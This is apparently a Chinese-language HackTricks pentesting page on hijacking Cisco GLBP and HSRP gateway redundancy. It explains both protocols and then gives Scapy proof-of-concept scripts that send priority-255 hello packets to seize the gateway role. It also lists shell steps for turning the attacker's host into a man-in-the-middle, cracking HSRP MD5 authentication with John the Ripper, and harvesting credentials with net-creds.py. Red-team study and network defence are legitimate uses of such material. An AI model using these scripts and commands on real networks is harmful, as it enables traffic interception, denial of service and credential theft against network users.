GLBP & HSRP 攻击

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

FHRP 劫持概述

关于 FHRP 的解析

FHRP 旨在通过将多台路由器合并为单一虚拟单元来提高网络的稳健性,从而增强负载分配和故障容忍能力。Cisco Systems 引入了该套件中的重要协议,如 GLBP 和 HSRP。

GLBP 协议概述

Cisco 的 GLBP 在 TCP/IP 栈上运行,使用 UDP 端口 3222 进行通信。GLBP 组内的路由器每 3 秒交换一次 “hello” 包。如果某台路由器连续 10 秒未发送这些包,则被认为已离线。但这些定时器不是固定的,可以被修改。

GLBP 在 IPv6 上使用组播地址 FF02::66(通过 UDP/3222),虚拟 MAC 格式为 0007.b4xx.xxyy(AVF ID 在最后一字节)。定时和攻击面与 IPv4 相同,因此在双栈网络中劫持技术仍然有效。

GLBP 操作与负载分配

GLBP 的特点是使用单一虚拟 IP 配合多个虚拟 MAC 地址,在路由器之间实现负载分配。在 GLBP 组中,每台路由器都参与数据包转发。不同于 HSRP/VRRP,GLBP 通过多种机制提供真正的负载均衡:

  • 基于主机的负载均衡 (Host-Dependent Load Balancing):为主机保持一致的 AVF MAC 地址分配,对稳定的 NAT 配置至关重要。
  • 轮询负载均衡 (Round-Robin Load Balancing):默认方式,在请求的主机间轮换分配 AVF MAC 地址。
  • 加权轮询负载均衡 (Weighted Round-Robin Load Balancing):基于预定义的 “Weight” 指标分配负载。

GLBP 的关键组件与术语

  • AVG (Active Virtual Gateway):主路由器,负责向对等路由器分配 MAC 地址。
  • AVF (Active Virtual Forwarder):负责处理网络流量的路由器。
  • GLBP Priority:决定 AVG 的指标,默认值为 100,范围为 1 到 255。
  • GLBP Weight:反映路由器当前负载,可手动调整或通过 Object Tracking 动态调整。
  • GLBP Virtual IP Address:作为网络中所有连接设备的默认网关。

GLBP 使用保留的组播地址 224.0.0.102 和 UDP 端口 3222 进行交互。路由器每 3 秒发送一次 “hello” 包,若在 10 秒内丢失包则被视为不可用。

GLBP 攻击机制

攻击者可以通过发送具有最高 priority 值(255)的 GLBP 包成为主路由器。这可能导致 DoS 或 MITM 攻击,使流量被拦截或重定向。

Practical GLBP hijack with Scapy (short PoC)

from scapy.all import *

vip = "10.10.100.254"          # learned from sniffing
pkt = IP(dst="224.0.0.102")/UDP(dport=3222,sport=3222)/Raw(
b"\x01\x00\xff\x64"      # Version=1, Opcode=Hello, Priority=255, Weight=100
)
send(pkt, iface="eth0", loop=1, inter=1)

构造有效载荷字节以模拟 GLBP 报头(version/opcode/priority/weight/VRID)。循环发送该帧可以确保在未启用认证的情况下赢得 AVG 选举。

使用 Loki 执行 GLBP 攻击

Loki 可以通过注入 priority 和 weight 设置为 255 的数据包来执行 GLBP 攻击。攻击前需要收集信息,例如 virtual IP 地址、是否存在认证,以及路由器的 priority 值,通常使用 Wireshark 等工具。

Attack Steps:

  1. 将网卡切换到 promiscuous mode 并启用 IP forwarding。
  2. 识别目标路由器并获取其 IP。
  3. 生成 Gratuitous ARP。
  4. 注入恶意 GLBP 数据包,冒充 AVG。
  5. 在攻击者的网络接口上分配一个 secondary IP 地址,镜像 GLBP 的 virtual IP。
  6. 实施 SNAT 以实现对所有流量的可见性。
  7. 调整路由,确保通过原始 AVG 路由器持续访问互联网。

按照这些步骤,攻击者会将自己置于“man in the middle”位置,能够拦截并分析网络流量,包括未加密或敏感的数据。

For demonstration, here are the required command snippets:

# Enable promiscuous mode and IP forwarding
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1

# Configure secondary IP and SNAT
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# Adjust routing
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100

可以使用 net-creds.py 或类似工具监控并拦截流经被攻陷网络的数据,以捕获并分析流量。

被动说明 HSRP Hijacking 的命令细节

HSRP(Hot Standby Router/Redundancy Protocol)概述

HSRP 是 Cisco 的专有协议,旨在实现网络网关冗余。它允许将多个物理路由器配置为具有共享 IP 地址的单一逻辑单元。该逻辑单元由负责转发流量的主路由器管理。与使用 priority 和 weight 等度量进行负载均衡的 GLBP 不同,HSRP 依赖单一 active 路由器来管理流量。

HSRPv1 使用 multicast 224.0.0.2 和虚拟 MAC 0000.0c07.acXX;HSRPv2 和 HSRPv2 for IPv6 使用 224.0.0.102 / FF02::66 和虚拟 MAC 0000.0c9f.fXXX。UDP 目标端口为 IPv4 的 1985,IPv6 的 2029

HSRP 的角色与术语

  • HSRP Active Router:充当网关的设备,负责管理流量转发。
  • HSRP Standby Router:作为备份的路由器,在 active 路由器故障时准备接管。
  • HSRP Group:一组路由器协同工作以形成单一的高可用虚拟路由器。
  • HSRP MAC Address:分配给 HSRP 逻辑路由器的虚拟 MAC 地址。
  • HSRP Virtual IP Address:HSRP 组的虚拟 IP 地址,作为连接设备的默认网关。

HSRP 版本

HSRP 有两个版本,HSRPv1 和 HSRPv2,主要在组容量、多播 IP 使用以及虚拟 MAC 地址结构上有所不同。该协议使用特定的多播 IP 地址来交换服务信息,Hello 包每 3 秒发送一次。如果在 10 秒内未收到包,则认为该路由器不再活动。

HSRP 攻击机制

HSRP 攻击涉及通过注入最大 priority 值强行接管 Active Router 的角色。这可能导致 Man-In-The-Middle (MITM) 攻击。关键的攻击前步骤包括收集有关 HSRP 配置的数据,这可以使用 Wireshark 进行流量分析来完成。

Quick HSRP takeover with Scapy

from scapy.all import *

vip = "10.10.100.1"
pkt = IP(dst="224.0.0.102")/UDP(sport=1985,dport=1985)/Raw(
b"\x00\x02\xff\x03\x00\x00\x00\x01"  # Hello, priority 255, group 1
)
send(pkt, iface="eth0", inter=1, loop=1)

如果身份验证 配置,通过持续发送具有更高优先级的 hello 报文会强制对端进入 Speak/Listen 状态,并让你成为 Active,从而通过你的主机重定向流量。

HSRP authentication 注意事项

  • 旧的明文身份验证极易被伪造。
  • MD5 authentication 仅涵盖 HSRP 负载;经过伪造的数据包仍然可以对控制平面造成速率限制/DoS。某些 NX-OS 版本之前允许对受身份验证保护的组进行 DoS(参见 Cisco advisory CSCup11309)。
  • 在许多 ISP / VPS 共享 VLAN 上,HSRPv1 的多播对租户可见;如果没有身份验证,您可以加入并抢占流量。

绕过 HSRP 身份验证的步骤

  1. 将包含 HSRP 数据的网络流量保存为 .pcap 文件。
tcpdump -w hsrp_traffic.pcap
  1. 使用 hsrp2john.py 从 .pcap 文件提取 MD5 哈希。
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
  1. 使用 John the Ripper 破解 MD5 哈希。
john --wordlist=mywordlist.txt hsrp_hashes

使用 Loki 执行 HSRP 注入

  1. 启动 Loki 以识别 HSRP 广告。
  2. 将网络接口设置为混杂模式并启用 IP 转发。
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
  1. 使用 Loki 针对特定路由器,输入已破解的 HSRP 密码,并进行必要配置以冒充 Active Router。
  2. 获得 Active Router 角色后,配置你的网络接口和 IP 表以拦截合法流量。
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
  1. 修改路由表以通过原先的 Active Router 路由流量。
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
  1. 使用 net-creds.py 或类似工具从拦截到的流量中抓取凭证。
sudo python2 net-creds.py -i eth0

执行这些步骤会使攻击者处于拦截并操纵流量的位置,类似于 GLBP 劫持的过程。这凸显了像 HSRP 这样的冗余协议中的漏洞以及对强健安全措施的需求。

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks